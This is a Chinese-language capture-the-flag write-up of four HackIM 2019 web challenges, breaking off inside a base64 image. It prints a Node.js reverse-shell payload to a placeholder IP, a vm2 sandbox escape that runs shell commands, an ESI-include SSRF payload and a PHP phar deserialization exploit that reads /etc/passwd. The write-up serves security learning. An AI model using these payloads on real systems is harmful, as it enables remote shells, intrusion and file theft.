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Hackim-2019 Web 记录

​ 文章首发于安全客,地址:https://www.anquanke.com/post/id/170708

过年前做了一下,感觉还是挺有意思的。比赛官方也开源了比赛源码

[TOC]

Web

BabyJS

​ Run your javascript code inside this page and preview it because of hackers we have only limited functions

题目内容如上,比较简单的 javascript 代码运行,后台是 Node.js

这里我们可以考虑一下是不是有什么 Node.js 沙箱逃逸什么的操作,国内对于 Node.js 沙箱逃逸的文章还是比较少的,参考了好几篇都是翻译文章,都翻译得不是很清楚,参考文章:NodeJS沙盒逃逸研究

但是也能知道个大概,要执行命令或者反弹 shell 就需要用到两个模块,分别是 net 和 child_process ,可以用以下 payload 直接反弹 shell

(function () {
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(your_port, "your_ip", function () {
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

然而当我们想直接反弹 shell (那当然是太天真了),就返回了not defined

所以没那么简单,那我们先从信息收集开始,使用Error().stack可以收集使用的模块信息,而且题目设置是可以直接把内容输出出来的,所以我们不需要print,可以直接输出信息。

我们首先先收集目标信息,使用js=Error().stack

我们可以得到题目设置的模块,如vm.js,然后发现对应的vm2仓库里已经有很多 escape 的 issue 了,发现有一位 @XmiliaH 大佬已经 escape 了很多版本,我们可以尝试一下比较新的一个版本Breakout in v3.6.9

var process;
try{
Object.defineProperty(Buffer.from(""),"",{
	value:new Proxy({},{
		getPrototypeOf(target){
			if(this.t)
				throw Buffer.from;
			this.t=true;
			return Object.getPrototypeOf(target);
		}
	})
});
}catch(e){
	process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()

直接作为 payload 使用,发现可以成功执行命令

接下来直接读 flag 就好了,得到

hackim19{S@ndbox_0_h4cker_1}

Blog

​ Its just a blog

题目是一个 Node.js ,题目设置比较简单,就一个表单,提交之后参数会得到相应的页面

以及还有一个 admin 界面

index 界面输入什么就以 HTML 形式返回什么,也可以触发 XSS

但是这只是一个 self-xss ,这就显得又些鸡肋了,所以大概意思就是我们需要用 index 做 xss 或者其他一些操作去获取管理员权限

跟上题一样,既然都是 Node.js ,是不是也可以得到一些错误信息什么的。

在尝试了一些单引号、双引号等一些特殊符号,发现确实是全部都转换成 string 输出了,猜想是不是有类似toString()的操作,换成数组测试,发现无回显,一直停留在 pending 状态中

尝试直接访问 /edge 页面,得到错误信息

但是这都是用于前端效果的 js 库,并没有什么用,但是思路应该是没错的,继续 fuzz 就行了。

最终用title=1&description[a]=1得到了比较有用的报错信息,得到了一个新的库 esi.js ,查看相关资料Node ESI Language parser,可以知道这是一个用于处理 ESI 语言的 js 库,使用示例官方也给出来了

​ You want to embed the fragment of HTML from “http://snipets.com/abc.html" within an HTML document.

blah blah, oh and here i embed in the page a snipet using an ESI server ...
<esi:include src="http://snipets.com/snipet.html"></esi:include>

snipet.html

<b>Snipet</b>

With Node ESI script, you can pre-process ESI tags.

看到这里我们的思路就比较清晰,就是以 esi 的方式去访问 admin 页面就可以了,相当于形成了一个 SSRF 。

payload:
title=1&description=<esi%3Ainclude+src%3D"http%3A%2F%2Fwebsite.com%2Fadmin"><%2Fesi%3Ainclude>

mime checkr

​ upload and check the mime type

Hint1: Do you think containers could speak like humans?

题目设置为有一个上传点,只允许上传 .jpeg 后缀的文件,尝试了一下其他截断,均不能上传其他文件

还有一个获取 MIME 格式的功能,需要传入路径,返回 MIME 格式

还有一个备份文件getmime.bak

<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');

class CurlClass{
    public function httpGet($url) {
    $ch = curl_init();  
 
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 
 
    $output=curl_exec($ch);
 
    curl_close($ch);
    return $output;
 }
}


class MainClass {

	public function __destruct() {
        $this->why =new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
	}
}


// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}


?>

看到备份文件中有_destructcurl,思路也就比较清晰了,大致需要我们上传一个 phar 文件,然后用phar://xx/xx去触发反序列化漏洞。

这里我先测试file:///etc/passwd,用以下代码生成 phar 文件

<?php

class CurlClass
{
    public function httpGet($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 

        $output = curl_exec($ch);

        curl_close($ch);
        return $output;
    }
}


class MainClass
{

    public function __destruct()
    {
        $this->why = new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}

$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MainClass();
$o->url = "file:///etc/passwd";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); 
    //签名自动计算
$phar->stopBuffering();
?>

修改后缀名为 .jpeg ,通过访问phar://uploads/f68caba0b9.jpeg/test.txt,成功获得了file:///etc/passwd的内容。

但是我们如何找 flag 呢,这里其实是比较坑的一个点,其实基本漏洞利用点已经找到了,接下来其实感觉是有些多余的出题设置,通过试探一些常用的 flag 目录路径,都没有找到 flag ,而后在/etc/hosts发现了同一个网段的另一台主机。

如图中的192.168.32.2 7eaef799a0b8,猜想是不是在 192.168.32.0/24 这个段上,或者比较靠前的机器上,当尝试到 192.168.32.3 时,发现有不寻常的返回。

看着有点像用 python 加密出来的东西,搜了一下发现是使用了一个叫ebcdic的 python 库,用了cp1047编码。

解码脚本:

import ebcdic
blob=b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'
print(blob.decode("cp1047"))

得到Hello /fetch~%[]^@)( me

感觉是个 url 之类的,再构造 phar 包,访问 http://192.168.32.3/fetch~%25%5B%5D%5E%40)(,得到

看起来是同样的加密,直接解密就可以了。

import ebcdic
blob=b'\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'
print(blob.decode("cp1047"))

最后得到 flag

credz

​ Alice is a admin of abc company in india. He knows about hackers and makes a system that can login only from his system and only his browser which is chrome.

  • Hint: ummm maybe that image has something to do with it.
  • Hint2: Admin is uses fresh chrome
  • Hint3: admin has different CanvasFingerprint
  • Hint4: Windows 10 64 bit

题目设置为一个登陆界面,并且有一行注释

<!-- remember me all the time, credz is not what you need luke -->

尝试了一下 sql 注入,并没有注入点,在尝试弱密码的时候使用admin/admin登录成功,但是页面提示

很直接,让我们伪造 admin 的 cookie ,这就需要我们另寻突破口了,在主页面发现一个貌似用来设置 cookie 的 js 文件:

Fps.js

(function(name, context, definition) {
    if (typeof module !== 'undefined' && module.exports) {
        module.exports = definition()
    } else if (typeof define === 'function' && define.amd) {
        define(definition)
    } else {
        context[name] = definition()
    }
})('fpbrowser_v1', this, function() {
    'use strict';
    var Fingerprint = function(options) {
        var nativeForEach, nativeMap;
        nativeForEach = Array.prototype.forEach;
        nativeMap = Array.prototype.map;
        this.each = function(obj, iterator, context) {
            if (obj === null) {
                return
            }
            if (nativeForEach && obj.forEach === nativeForEach) {
                obj.forEach(iterator, context)
            } else if (obj.length === +obj.length) {
                for (var i = 0, l = obj.length; i < l; i++) {
                    if (iterator.call(context, obj[i], i, obj) === {}) return
                }
            } else {
                for (var key in obj) {
                    if (obj.hasOwnProperty(key)) {
                        if (iterator.call(context, obj[key], key, obj) === {}) return
                    }
                }
            }
        };
        this.map = function(obj, iterator, context) {
            var results = [];
            if (obj == null) return results;
            if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
            this.each(obj, function(value, index, list) {
                results[results.length] = iterator.call(context, value, index, list)
            });
            return results
        };
        if (typeof options == 'object') {
            this.hasher = options.hasher;
            this.screen_resolution = options.screen_resolution;
            this.screen_orientation = options.screen_orientation;
            this.canvas = options.canvas;
            this.ie_activex = options.ie_activex
        } else if (typeof options == 'function') {
            this.hasher = options
        }
    };
    Fingerprint.prototype = {
        get: function() {
            var keys = [];
            keys.push(navigator.userAgent);
            keys.push(navigator.language);
            keys.push(screen.colorDepth);
            if (this.screen_resolution) {
                var resolution = this.getScreenResolution();
                if (typeof resolution !== 'undefined') {
                    keys.push(resolution.join('x'))
                }
            }
            keys.push(new Date().getTimezoneOffset());
            keys.push(this.hasSessionStorage());
            keys.push(this.hasLocalStorage());
            keys.push(!!window.indexedDB);
            if (document.body) {
                keys.push(typeof(document.body.addBehavior))
            } else {
                keys.push(typeof undefined)
            }
            keys.push(typeof(window.openDatabase));
            keys.push(navigator.cpuClass);
            keys.push(navigator.platform);
            keys.push(navigator.doNotTrack);
            keys.push(this.getPluginsString());
            if (this.canvas && this.isCanvasSupported()) {
                keys.push(this.getCanvasFingerprint())
            }
            if (this.hasher) {
                return this.hasher(keys.join('###'), 31)
            } else {
                return this.fingerprint_js_browser(keys.join('###'), 31)
            }
        },
        fingerprint_js_browser: function(key, seed) {
            var remainder, bytes, h1, h1b, c1, c2, k1, i;
            remainder = key.length & 3;
            bytes = key.length - remainder;
            h1 = seed;
            c1 = 0xcc9e2d51;
            c2 = 0x1b873593;
            i = 0;
            while (i < bytes) {
                k1 = ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(++i) & 0xff) << 8) | ((key.charCodeAt(++i) & 0xff) << 16) | ((key.charCodeAt(++i) & 0xff) << 24);
                ++i;
                k1 = ((((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16))) & 0xffffffff;
                k1 = (k1 << 15) | (k1 >>> 17);
                k1 = ((((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16))) & 0xffffffff;
                h1 ^= k1;
                h1 = (h1 << 13) | (h1 >>> 19);
                h1b = ((((h1 & 0xffff) * 5) + ((((h1 >>> 16) * 5) & 0xffff) << 16))) & 0xffffffff;
                h1 = (((h1b & 0xffff) + 0x6b64) + ((((h1b >>> 16) + 0xe654) & 0xffff) << 16))
            }
            k1 = 0;
            switch (remainder) {
                case 3:
                    k1 ^= (key.charCodeAt(i + 2) & 0xff) << 16;
                case 2:
                    k1 ^= (key.charCodeAt(i + 1) & 0xff) << 8;
                case 1:
                    k1 ^= (key.charCodeAt(i) & 0xff);
                    k1 = (((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16)) & 0xffffffff;
                    k1 = (k1 << 15) | (k1 >>> 17);
                    k1 = (((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16)) & 0xffffffff;
                    h1 ^= k1
            }
            h1 ^= key.length;
            h1 ^= h1 >>> 16;
            h1 = (((h1 & 0xffff) * 0x85ebca6b) + ((((h1 >>> 16) * 0x85ebca6b) & 0xffff) << 16)) & 0xffffffff;
            h1 ^= h1 >>> 13;
            h1 = ((((h1 & 0xffff) * 0xc2b2ae35) + ((((h1 >>> 16) * 0xc2b2ae35) & 0xffff) << 16))) & 0xffffffff;
            h1 ^= h1 >>> 16;
            return h1 >>> 0
        },
        hasLocalStorage: function() {
            try {
                return !!window.localStorage
            } catch (e) {
                return true
            }
        },
        hasSessionStorage: function() {
            try {
                return !!window.sessionStorage
            } catch (e) {
                return true
            }
        },
        isCanvasSupported: function() {
            var elem = document.createElement('canvas');
            return !!(elem.getContext && elem.getContext('2d'))
        },
        isIE: function() {
            if (navigator.appName === 'Microsoft Internet Explorer') {
                return true
            } else if (navigator.appName === 'Netscape' && /Trident/.test(navigator.userAgent)) {
                return true
            }
            return false
        },
        getPluginsString: function() {
            if (this.isIE() && this.ie_activex) {
                return this.getIEPluginsString()
            } else {
                return this.getRegularPluginsString()
            }
        },
        getRegularPluginsString: function() {
            return this.map(navigator.plugins, function(p) {
                var mimeTypes = this.map(p, function(mt) {
                    return [mt.type, mt.suffixes].join('~')
                }).join(',');
                return [p.name, p.description, mimeTypes].join('::')
            }, this).join(';')
        },
        getIEPluginsString: function() {
            if (window.ActiveXObject) {
                var names = ['ShockwaveFlash.ShockwaveFlash', 'AcroPDF.PDF', 'PDF.PdfCtrl', 'QuickTime.QuickTime', 'rmocx.RealPlayer G2 Control', 'rmocx.RealPlayer G2 Control.1', 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)', 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)', 'RealPlayer', 'SWCtl.SWCtl', 'WMPlayer.OCX', 'AgControl.AgControl', 'Skype.Detection'];
                return this.map(names, function(name) {
                    try {
                        new ActiveXObject(name);
                        return name
                    } catch (e) {
                        return null
                    }
                }).join(';')
            } else {
                return ""
            }
        },
        getScreenResolution: function() {
            var resolution;
            if (this.screen_orientation) {
                resolution = (screen.height > screen.width) ? [screen.height, screen.width] : [screen.width, screen.height]
            } else {
                resolution = [screen.height, screen.width]
            }
            return resolution
        },
        getCanvasFingerprint: function() {
            var canvas = document.createElement('canvas');
            var ctx = canvas.getContext('2d');
            var txt = 'I am not admin';
            ctx.textBaseline = "top";
            ctx.font = "12.5px 'Arial'";
            ctx.textBaseline = "numeric";
            ctx.fillStyle = "#f60";
            ctx.fillRect(101, 5, 48, 30);
            ctx.fillStyle = "#069";
            ctx.fillText(txt, 2, 15);
            ctx.fillStyle = "rgba(111, 177, 0.1, 0.7)";
            ctx.fillText(txt, 4, 17);
            return canvas.toDataURL()
        }
    };
    return Fingerprint
});

function bjs_1(e) {
    var r = new fpbrowser_v1,
        t = new fpbrowser_v1({
            canvas: !0
        }),
        n = r.get(),
        o = t.get(),
        i = n + "" + o,
        a = getbrowser(),
        d = new XMLHttpRequest,
        s = "trackuser.php",
        w = "m=" + i;
    w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
        if (4 == d.readyState && 200 == d.status) {
            d.responseText;
            "index.php" == e && (document.getElementById("loaderDiv").innerHTML = "")
        }
    }, d.send(w)
}

function getbrowser() {
    var e = !!window.opr && !!opr.addons || !!window.opera || navigator.userAgent.indexOf(" OPR/") >= 0;
    if (e) return "Opera";
    var r = "undefined" != typeof InstallTrigger;
    if (r) return "FireFox";
    var t = Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor") > 0;
    if (t) return "Safari";
    var n = !1 || !!document.documentMode;
    if (n) return "IE";
    var o = !n && !!window.StyleMedia;
    if (o) return "Edge";
    var i = !!window.chrome && !!window.chrome.webstore;
    return i ? "Chrome" : "other Browser"
}

大致进行了一波审计,从index.html中含有的<script> var i='index.html'; bjs_1(i); </script>开始,发现bjs_l()函数,并且可以抓到请求trackuser.php的包

POST /trackuser.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/
Content-type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: continueCode=PJgGlaHKhetvcbIlToCVsZFLinSyHZuQcgCJfZSbuphvCV9slmH6ET5v08yK; cookieconsent_status=dismiss; PHPSESSID=877d4hrk97pg1qbnpb37sejqh7
Cache-Control: max-age=0

m=36743815193629702779&token=index.html&b=FireFox

跟进bjs_l()函数,发现初始化了两个fpbrowser_v1类,并且调用了get()函数返回值作为 ajax 请求中 m 的 value 值,关键就在Fingerprint.prototype这里的get函数,这里用keys数组存储了一系列的参数,但是其实主要的只是以下几个,因为其他参数我们完全可以直接用 windows 10 装一个最新的 chrome 来模拟环境,就不需要完全修改参数了

  • navigator.language — 题目设置已经告诉我们 “Alice is a admin of abc company in india”
  • navigator.userAgent — 题目 hint 给出 windows 10 chrome
  • getTimezoneOffset() — India 的时区
  • getCanvasFingerprint

大致就是以上因素,我们可以从 hint 中找到大部分的参数,设置navigator.language可以用 india 的 language 解决,getTimezoneOffset我们可以算得到是-300,唯独getCanvasFingerprint我们不太清楚,经过仔细查阅资料知道这个实现的就是Canvas Fingerprinting,而题目中那个注释以及 hint 也给出了,应该就是用 index.html中的那个canvas图片

<img src="data:image/png;base64,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